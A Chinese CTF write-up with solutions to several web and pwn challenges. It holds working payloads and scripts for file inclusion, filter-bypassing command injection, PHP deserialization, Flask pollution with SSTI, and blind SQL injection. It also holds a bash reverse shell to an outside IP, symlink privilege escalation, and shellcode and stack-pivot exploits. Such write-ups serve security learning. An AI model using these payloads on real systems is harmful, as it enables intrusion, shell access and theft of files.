2025

WEB

DeceptiFlag

看到隐藏元素,而且提示拼音,分别输xiyangyang,huitailang进入tips.php

image-20250607103120357

cookie中发现flag位置为/var/flag/flag.txt,随便尝试几个路径包含发现都不行,伪协议读取成功

//file=php://filter/read=convert.base64-encode/resource=tips.php
//tips.php
<?php
session_start();

// 为 PHP 7 添加 str_starts_with 函数兼容支持
if (!function_exists('str_starts_with')) {
function str_starts_with($haystack, $needle) {
return strpos($haystack, $needle) === 0;
}
}

if (!isset($_SESSION['verified']) || $_SESSION['verified'] !== true) {
header("Location: aicuo.php");
exit();
}

if (!isset($_GET['file'])) {
header('Location: ?file=flag');
exit();
}

$file = trim($_GET['file']);

if (preg_match('/\s/', $file)) {
die('Trying to use space huh?');
}
if (preg_match('/\.\./', $file)) {
die('Trying to include files from parent directory huh?');
}
if (preg_match('/^\//', $file) && !str_starts_with($file, 'php://filter')) {
die('Trying to include files from root directory huh?');
}

if (str_starts_with($file, 'php://filter')) {
$content = @file_get_contents($file);
if ($content === false) {
die('无法读取文件');
}
echo $content;
exit();
}

require_once $file . '.php';
file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt

image-20250607103323951

flag{d7d1eabc-3887-4651-bbc6-cb898528e58e}

Really_Ez_Rce

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

intval那里数组绕过,后面的cmd绕过就属于涨姿势了

GET/POST:Number[]=1
POST
cmd=l``s /
cmd=l$1s / //flag.txt
cmd=cd /;a=l;b=s;c=ca;d=t;$c$d `$a$b`;
cmd=cd /;ca$1t `l$1s`;
cmd=cd /;a=$(echo l);b=$(echo s);$a$b|c=$(echo c);d=$(echo at);$c$d;
cmd=cd /;a=$(echo l);b=$(echo s);$a$b%26%26c=$(echo c);d=$(echo at);$c$d `$a$b`; //注意&&要url编码
//首先进入根目录,读取ls获取的全部文件,绕过了.txt那个点
cmd=echo Y2F0IC9mKg== | ba$1se64 -d |s$1h
cmd=`echo Y2F0IC9mKg== | ba$1se64 -d`
//也有编码秒的
cmd=a=c;b=at;c=f;d=lag;e=t;f=xt;g=l;h=s;i=h;j=ead;k=$($g$h -a | $i$j -n 1);$a$b/$c$d$k$e$f
##原始为cat /flag(ls -a | head -n 1)txt
//官方wp用ls -a | head -n 1来绕过点,这样一看,软链接果然更方便!

虽然但是,我自己打的话,软链接秒了

cmd=ln -s / /var/www/html/a
再访问/a/flag.txt

image-20250610131757439

flag{2699279a-fc6c-4373-bbcd-8470739d5c79}

Watch(复现)

漏洞点主要是在源码中/handle/handle.go

userPath := r.URL.Query().Get("path")
path := filepath.Join(`\SystemRoot\`, userPath)

有个提示是注意go版本和路径形式

翻文章时觉得有几篇文章挺好GO语言安全审计-先知社区、一个隐藏在Go语言标准库中的目录穿越漏洞 CVE-2022-29804 - 跳跳糖,但是这个题主要是依靠这个文章GO-2023-2185 - Go Packages

filepath 包无法将以 ??\ 为前缀的路径识别为特殊路径。在 Windows 上,以 ??\ 开头的路径是根本地设备路径,相当于以 \?\ 开头的路径。以 ??\ 为前缀的路径可用于访问系统上的任意位置。例如,路径 ??\c:\x 相当于更常见的路径 c:\x。修复之前,Clean 可以将根路径(例如 \a..??\b)转换为根本地设备路径 ??\b。现在,Clean 会将其转换为 .??\b。同样,Join(, ??, b) 可以将看似无害的路径元素序列转换为根本地设备路径 ??\b。现在,Join 会将其转换为 .??\b。此外,修复后,IsAbs 现在可以正确地将以 ??\ 开头的路径报告为绝对路径,VolumeName 可以正确地将 ??\ 前缀报告为卷名。更新:Go 1.20.11 和 Go 1.21.4 无意中更改了以 ? 开头的 Windows 路径中卷名的定义,导致 filepath.Clean(?\c:) 返回 ?\c: 而不是 ?\c:\(以及其他影响)。之前的行为已恢复。

那么直接回到目录去访问就行

../??/d:/

然后读取key.txt就行

image-20250610134410873

flag{8e35f701-a677-4e95-88bc-4bb34c12db19}

ez_php

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']); //数组绕过
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]); //调用HongCaFei这个函数,并且将name作为第一个参数传递给函数
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

链子如下

GOGOGO::__destruct->DouBao::__toString->HeiCaFei::__call

前面用数组绕过,后面的调用主要用到__call方法

$a->dengchao->dao被设置为[new HeiCaFei(), 'ls'],这是一个合法的 callable 结构。

call_user_func_array可以接受这样的数组,解释为“在HeiCaFei对象上调用ls方法”。

当调用不存在的ls方法时,会将ls作为name从而进入__call方法实现调用

这里还涉及到一个绕过GC回收机制,参考浅析PHP GC垃圾回收机制及常见利用方式-先知社区


在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发__destruct方法,而这也就是我们绕过抛出异常的关键点。

简单来说,就是序列化一个数组,然后将第二个元素的对象个数i:1修改为i:0即可。当对象为null时就会使用__destruct方法


exp如下

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei{
public $HongCaFei;
}

$a=new GOGOGO();
$a->dengchao=new DouBao();
$a->dengchao->Dagongren=[1];
$a->dengchao->Bagongren=[2];
$a->dengchao->dao=[new HeiCaFei(),"cat /of*"];
$a->dengchao->dao[0]->HongCaFei="system";
$b=serialize([$a,1]);
$c=str_replace("i:1;i:1","i:0;i:1",$b);
echo $c;
//a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:8:"cat /of*";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:1;}
POST:data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:8:"cat /of*";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}i:0;i:1;}

image-20250610144155382

flag{b448adc0-43f3-4fb1-8fa3-09211d99839e}

奇怪的咖啡店(复现)

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
##检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"



def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)

在/add路由存在原型链污染,但是存在过滤,__init__和__globals__都被过滤了,通过json.loads这个函数来Unicode编码绕过

默认情况下,Flask 的 _static_folder 是相对于应用根目录的 static 文件夹,修改为 “/“ 可能导致 Flask 从根目录查找静态文件。

{"__globals__":{"app":{"_static_folder":"/"}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}

image-20250610150410705

这样就是污染成功了,访问static/app/app.py拿到最终源码

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
##检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
## 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid ##ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
## 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

## 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


## 增强WAF防护
def waf_check(value):
## 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True

## 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
## 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)

def check1(value):

if is_automated_request():
print("Automated tool detected")
return True

## 使用WAF机制检查请求的合法性
if not waf_check(value):
return True

return False


app.run(host="0.0.0.0",port=5014)

这里通过原型链污染接着污染param_black_list和SECRET_KEY,然后用session去打ssti获得flag

{"__globals__" : {"param_black_list" : ["1"]}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074" : ["1"]}}

{"__globals__" : {"app" : {"config" : {"SECRET_KEY":"123"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0063\u006f\u006e\u0066\u0069\u0067" : {"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"123"}}}}

然后伪造session就行

{'name': 'admin', 'permission': '{{lipsum.__globals__["os"].popen("ls").read()}}'}
flask-unsign --sign --cookie "{'name': 'admin', 'permission': '{{lipsum.__globals__[\"os\"].popen(\"ls\").read()}}'}" --secret '123'
eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImxzXCIpLnJlYWQoKX19In0.aEfl-g.EJiHIMzK1a6VKSJ3L92oq3oZHTo

{'name': 'admin', 'permission': '{{lipsum.__globals__["os"].popen("cat 4flloog").read()}}'}
flask-unsign --sign --cookie "{'name': 'admin', 'permission': '{{lipsum.__globals__[\"os\"].popen(\"cat 4flloog\").read()}}'}" --secret '123'
eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImNhdCA0Zmxsb29nXCIpLnJlYWQoKX19In0.aEfmcQ.WsGGyBY9txBnluH0EeOU5UWQfZo
Cookie:session=eyJuYW1lIjoiYWRtaW4iLCJwZXJtaXNzaW9uIjoie3tsaXBzdW0uX19nbG9iYWxzX19bXCJvc1wiXS5wb3BlbihcImNhdCA0Zmxsb29nXCIpLnJlYWQoKX19In0.aEfmcQ.WsGGyBY9txBnluH0EeOU5UWQfZo

这里有几个点,首先在生成session时中间的双引号必须转义,其次lipsum后面调用os时必须用双引号

而且这里的ssti还可以如下来打,也能打出来

{'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}
.eJwdisEJwzAMAFcpeiWhZICuEhejNEoQ2JKx3Jfx7lH7uzuug2AmeAEemQWeUKhmNmMVj70bpXONkYVbjA5X0h2T_Xn_cmosLlsAf3LR6leA9xRALcC8Fi0kbh9sj-VcfqkSHtM8BowbvmMq-g.aEUwzg.mBiuRSOKBMNSSPfGUTg8XAVIJT0

image-20250610160228862

flag{1b2a6dce-f47d-4ef0-91ff-5385112c845d}

半成品login(复现)

先弱口令admin/admin123登录,发现要登录黑客账户,并且提示sql注入

在密码的地方反斜杠转义单引号发生了报错,即用admin/admin123\'##就登不上了

发现使用双重编码,即admin/admin123%2527%2523成功登录

image-20250610200113730

过滤了select,可以用table来进行sql注入,贴个脚本如下

这里用的是MySQL8.0新特性的table注入,除了下面的脚本,还可以使用sys.schema_tables_with_full_table_scans这个性能视图

import requests
import time


dict = '0123456789'
for i in range(ord('a'),ord('z')+1):
dict += chr(i)


burp0_url = "http://27.25.151.198:32918/login.php"

burp0_cookies = {"PHPSESSID": "292edf1013fa3e34a5c333e5f526d13a"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://27.25.151.198:31240", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://27.25.151.198:31240/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


## 库名
def database():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
## time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f"admin123%27and/**/(table/**/information_schema.schemata/**/limit/**/4,1)>=(\"def\",\"{tmp}\",3,4,5,6)##"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def tables():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
## time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/("def","hnctfweb","{tmp}","",5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table/**/information_schema.tables/**/limit/**/329,1)##'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
## print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_username():
res = 'hacker'
for _ in range(5):
flag = 1
for i in range(len(dict)):
## time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{tmp}","","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)##'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
## print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_password(username):
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
## time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{username}","{tmp}","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)##'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
## print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break


## hnctfweb
## database()

## 329
## hnctfuser
## tables()


## data_username()
## hackergxve5, d8578edf845
data_password('hackergxve5')

登录后拿到flag

image-20250610200841299

flag{43bdbf4b-db23-4d1e-983b-dc174d48761b}

[WEB+RE]Just Ping Part 1(复现)

在源码中找到两个路由/api/ping?target=和/api/testDevelopApi?cmd=

二进制可以分析,预置在pool中的是ping命令,当多次使用命令消耗后就会使用后面的命令,这里的123是拿来凑数的,测出来需要四段命令,中间以空格分开

/api/testDevelopApi?cmd=ls / 123 123
/api/ping?target=127.0.0.1 //flag

/api/testDevelopApi?cmd=cat /flag 123 123
/api/ping?target=127.0.0.1

image-20250610203101588

flag{bad8a9d4-9621-4f60-afdd-98eddaef7dd4}

[WEB+RE]Just Ping Part 2(复现)

先按照上面的思路反弹个shell

/api/testDevelopApi?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F38.55.99.186%2F1223%200%3E%261'%20%3E
##原来为bash -c 'bash -i >& /dev/tcp/38.55.99.186/1223 0>&1' >
/api/ping?target=127.0.0.1

image-20250611121136726

flag现在在root用户下,无法直接读取,涉及到提权,先来找下可以提权的文件

find / -user root -perm -4000 -print 2>/dev/null

image-20250611121443096

再看题目给的附件backup.sh

##!/bin/bash

if [ ! -f "backup" ]; then
exit 1
fi

ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)

if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
backup
exit 0
else
exit 1
fi

检查一个名为 backup 的文件的 MD5 校验和,并根据校验结果执行备份操作或退出

先找到这个backup文件

find / -name backup

image-20250611124424389

位于/usr/local/etc/backup

再去网站中给它下下来

/api/testDevelopApi?cmd=base64 /usr/local/etc/backup
/api/ping?target=127.0.0.1

扒下来逆向分析后发现是从../backuplist中获取文件路径,然后备份到/var/backups/backup.zip中

image-20250611134509609

这里先看下../backuplist,只有读的权限,我们要的就是将/root/flag进行备份后读取,所以肯定要向/backuplist中写东西

ls -l /usr/local

image-20250611135302990

注意到etc有读写执行权限,那就通过软链接来实现向backuplist中写东西

cd /usr/local/etc
mkdir tmp
mv backup tmp
ln -s tmp/backup ./backup
echo "/root/flag" > backupList

现在等到定时任务执行后base64扒下来就好了,注意这里扒下来的时候有换行符,要去掉

base64 /var/backups/backup.zip

image-20250611141812254

image-20250611142130637

flag{bace50f6-5b18-422e-9a7d-be1aefbdfde7}

PWN

mint1.师傅在我web出不来的时候是库库出pwn哇,好给力

三步走战略

简单的orw

check

桌面$ checksec orw
[*] '/home/pwn/桌面/orw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled

mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节

from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('27.25.151.198',35086)
##io=process('./orw')
elf=ELF('./orw')
##gdb.attach(io)
sleep(2)
io.recvuntil(b'in advance.')
io.send(b'1')
io.recvuntil(b'Please speak:')


shellcode = '''
push 0
mov r15, 0x67616c66
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
'''
##调用read
shellcode += '''
mov r14, 3
mov rdi, r14
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 0
syscall
'''
##调用write
shellcode +='''
mov rdi, 1
mov rsi, 0x4040C8
mov rdx, 0xff
mov rax, 1
syscall
'''
shellcode = asm(shellcode)

payload = b'\x90'*0x30+shellcode
io.send(payload)
io.recvuntil(b'Do you have anything else to say?')


payload = b'a' * 0x48 + p64(0x1337030)

io.sendline(payload)

io.interactive()

Stack Pivoting

【栈迁移】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

给了libc有简单的栈溢出漏洞但是溢出字节数较少尝试栈迁移

1

可以发现func中的read的rsi=rbp+buf(buf为-0x40)所以我们可以通过控制rbp进而控制read的rsi,结合leave控制rsp

第一段payload

payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

将read的rsi迁移到bss处并读入第二段payload

第二段payload

payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

在bss上布置puts泄露libc基址,将rbp设为bss+200+0x40用于读入第三段提权shell,之后迁移到bss段开头执行

第三段payload

rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

因为rdx为50想要同时控制rdx和rsi为零比较费字节数刚好发现有好用的gadget,但是需要注意rbp-0x78处是可写的

1

完整exp

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('27.25.151.198',45600)
##io = process(
## ["/home/pwn/桌面/ld.so.2", "./pwn"],
## env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
##)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
##gdb.attach(io)
sleep(3)
bss = 0x404100
pop_rbp = 0x4011FD
pop_rdi = 0x0000000000401263
leave_ret = 0x4011CE
ret = 0x4011FE
io.recvuntil(b'can you did ?')
payload = b'z'*0x40 + p64(bss+0x40)+p64(0x4011B7)
io.send(payload)

payload = (p64(pop_rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(bss+0x200+0x40)+p64(0x4011B7)).ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

io.send(payload)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx=0x00000000000904a9+libc_base
pop_rsi_r15=0x0000000000401261
one_gadget = 0xebc88 +libc_base
rbp = 0x404100
payload =(p64(rbp)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(one_gadget)).ljust(0x40,b'\x00')+p64(bss+0x200)+p64(leave_ret)

io.send(payload)

io.interactive()

shellcode

【orw进阶】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开了沙箱

1

禁用了write和sendfile可以用writev

openat–>mmap–>pread–>writev

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

##io = process('./pwn')
io = remote('27.25.151.198',42733)
elf = ELF('./pwn')

##gdb.attach(io)
sleep(3)


shellcode = asm('''
/* 1. 打开flag文件 */
mov rax, 0x67616c66
push rax
mov rsi, rsp
mov rdi, -0x64
mov rdx, 0
mov rax, 257 /* openat系统调用号 */
syscall

mov r13, rax /* 保存文件描述符到r13 */
cmp r13, 0 /* 检查是否打开失败 */
jl exit_shellcode

/* 2. 分配内存 */
mov rdi, 0
mov rsi, 0x1000
mov rdx, 0x3
mov r10, 0x22
mov r8, -1
mov r9, 0
mov rax, 9 /* mmap系统调用号 */
syscall

mov r12, rax /* 保存映射地址到r12 */
cmp r12, -1 /* 检查mmap是否失败 */
je exit_shellcode

/* 3. 读取文件内容 */
mov rdi, r13 /* 文件描述符(r13) */
mov rsi, r12 /* 缓冲区地址 */
mov rdx, 0x1000 /* 读取大小 */
mov r10, 0 /* 偏移量 */
mov rax, 17 /* pread系统调用号 */
syscall

mov rbx, rax /* 保存读取的字节数到rbx */
cmp rbx, 0 /* 检查是否读取失败 */
jle exit_shellcode

/* 4. 构造iovec并调用writev */
sub rsp, 0x10
mov [rsp], r12 /* iov_base = 映射地址 */
mov [rsp+8], rbx /* iov_len = 读取的字节数 */

mov rdi, 1 /* fd=1 (标准输出) */
lea rsi, [rsp] /* iovec地址 */
mov rdx, 1 /* iovcnt=1 */
mov rax, 20 /* writev系统调用号 */
syscall

add rsp, 0x10 /* 恢复栈指针 */

exit_shellcode:
mov rax, 60
xor rdi, rdi
syscall
''')

io.recvuntil(b'Enter your command:')
io.sendline(shellcode)
io.interactive()

pdd助力

【随机数】

check

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
